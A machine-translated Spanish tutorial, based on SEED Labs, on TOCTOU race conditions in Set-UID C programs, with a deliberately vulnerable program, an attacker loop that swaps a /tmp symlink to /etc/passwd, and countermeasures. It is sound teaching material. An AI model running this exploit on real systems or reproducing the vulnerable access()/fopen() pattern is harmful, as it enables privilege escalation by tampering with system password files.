Implementando Race Condition en C++

Requisito previo: vulnerabilidad de condición de carrera

Cuando dos subprocesos simultáneos en ejecución acceden a un recurso compartido de una manera que sin querer produce resultados diferentes según el tiempo de los subprocesos o procesos, esto da lugar a una Condición de carrera .

En palabras más simples:
si nuestro programa privilegiado (aplicación con control de acceso elevado) de alguna manera también tiene un bloque de código con vulnerabilidad de condición de carrera, los atacantes pueden explotar esto ejecutando procesos paralelos que pueden «competir» contra nuestro programa privilegiado. Si atacan con la intención de cambiar su comportamiento real, esto puede causar condiciones de carrera (RC) en nuestro programa.

Ejemplo :

/* A Vulnerable Program */
int main() {
    char * fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;
    /* get user input */
    scanf("%50s", buffer );

    if(!access(fn, W_OK)){
        fp = fopen(fn, "a+");
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
    else printf("No permission \n");
}

Análisis del Programa de Usuario:

1. El programa dado arriba es propiedad de root y se da que es un programa Set-UID, es decir, es un programa privilegiado.

2. La función del programa es agregar una string, ingresada por el usuario, al final del archivo /tmp/XYZ que creamos nosotros.

3. El código dado se ejecuta con el privilegio de raíz, por lo que su ID de usuario efectivo ( euid ) es igual a 0. Lo que corresponde a una raíz, por lo que puede sobrescribir cualquier archivo.

4. Usando la llamada al sistema access() , el programa evita que se sobrescriba accidentalmente el archivo de otra persona. Primero verifica si el ID de usuario real [uid] tiene los permisos de acceso apropiados para el archivo /tmp/XYZ, con la llamada access().

5. Si la verificación resulta ser verdadera y el ID de usuario real realmente tiene los privilegios, entonces el programa abre el archivo y agrega la entrada del usuario en el archivo.

6. Hay una verificación adicional presente en la llamada del sistema de fopen() , pero solo verifica el euid (ID de usuario efectivo) en lugar del uid (ID de usuario real) , y al ser un programa privilegiado, siempre está satisfecho porque el programa se ejecuta como un programa Set-UID (programa privilegiado) con euid de 0 (usuario raíz).

7. Ahora, el punto real de error que puede ocurrir podría deberse a la ventana de tiempo entre la verificación ‘ access() ‘ y el uso ‘ fopen() ‘ del archivo que se va a escribir. Existe una gran probabilidad de que el archivo utilizado por la llamada al sistema access() sea diferente del archivo utilizado por la llamada al sistema fopen() .

8. Esto es posible solo si un atacante malintencionado puede hacer de /tmp/XYZ un » enlace simbólico » para apuntar a un archivo protegido que de otro modo no es accesible como /etc/shadow (que contiene nuestras contraseñas) dentro de este tiempo de espera. consulte la ventana de tiempo de uso (ventana TOCTOU).

unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");

9. Si tiene éxito, el atacante puede agregar la entrada del usuario al final de /etc/shadow en lugar del objetivo original del enlace simbólico, como la creación de un nuevo usuario raíz con todos los privilegios solo al agregar una sola declaración al archivo shadow .

10. Por lo tanto, esta ventana puede causar vulnerabilidad de condición de carrera.
 

Por lo tanto, con la posibilidad de que un contexto cambie entre dos llamadas al sistema, a saber, access() y open(), también existe la posibilidad de una vulnerabilidad de condición de carrera. 

Código del programa atacante:

#include<unistd.h>
int main(){
    while(1){
        unlink("/tmp/XYZ");
        symlink("/home/seed/myfile", "/tmp/XYZ");
        usleep(10000);

        unlink("/tmp/XYZ");
        symlink("/etc/passwd", "/tmp/XYZ");
        usleep(10000);
        }
    return 0;
}

Este programa está destinado a mostrar el RC mediante el uso de usleep(10000) , por lo tanto, crea intencionalmente una ventana TOCTOU.

  • Aquí estamos creando un enlace simbólico a un archivo (myfle) de nuestra propiedad, un usuario normal, para pasar la verificación de acceso() .
  • Luego se genera una ventana para dormir durante 10000 microsegundos para permitir que nuestro proceso vulnerable se ejecute.
  • Luego desvincula el enlace simbólico y crea un enlace simbólico a /etc/passwd.

Contramedidas:

1. Aplicar el principio de privilegio mínimo:
de acuerdo con el principio, intentamos reducir los privilegios del archivo para todas las partes de un programa Set-UID. Especialmente las que no requieren privilegios elevados. Para esto, usamos las llamadas al sistema geteuid y seteuid para reducir y luego volver a escalar los privilegios en los lugares apropiados del programa vulnerable.

2. Método de protección incorporado para Ubuntu:

$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=1

3. Comprobaciones repetidas de llamadas al sistema:
las condiciones de carrera son más probabilísticas que deterministas (no podemos determinar cuándo podremos acceder al archivo, podría ocurrir durante cualquier instancia dentro de la ventana de verificación de TOCTOU). Usando comprobaciones repetidas en las llamadas al sistema access() y open() podemos hacer coincidir el valor de iNode del archivo. Si bien este valor es el mismo en todas las comprobaciones, podemos decir que el archivo está abierto y si es diferente, significa que el archivo se modificó y no lo abrimos.

4. Operaciones atómicas: 

f = open(file, O_CREAT | O_EXCL)

Si el archivo ya existe, estos dos especificadores que se indican arriba no abrirán el archivo especificado. Por lo tanto, implementando la atomicidad del cheque y el uso del archivo.

Referencias y código fuente: Laboratorios SEED, Universidad de Syracuse.

Publicación traducida automáticamente

Artículo escrito por piyushagg y traducido por Barcelona Geeks. The original can be accessed here. Licence: CCBY-SA

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *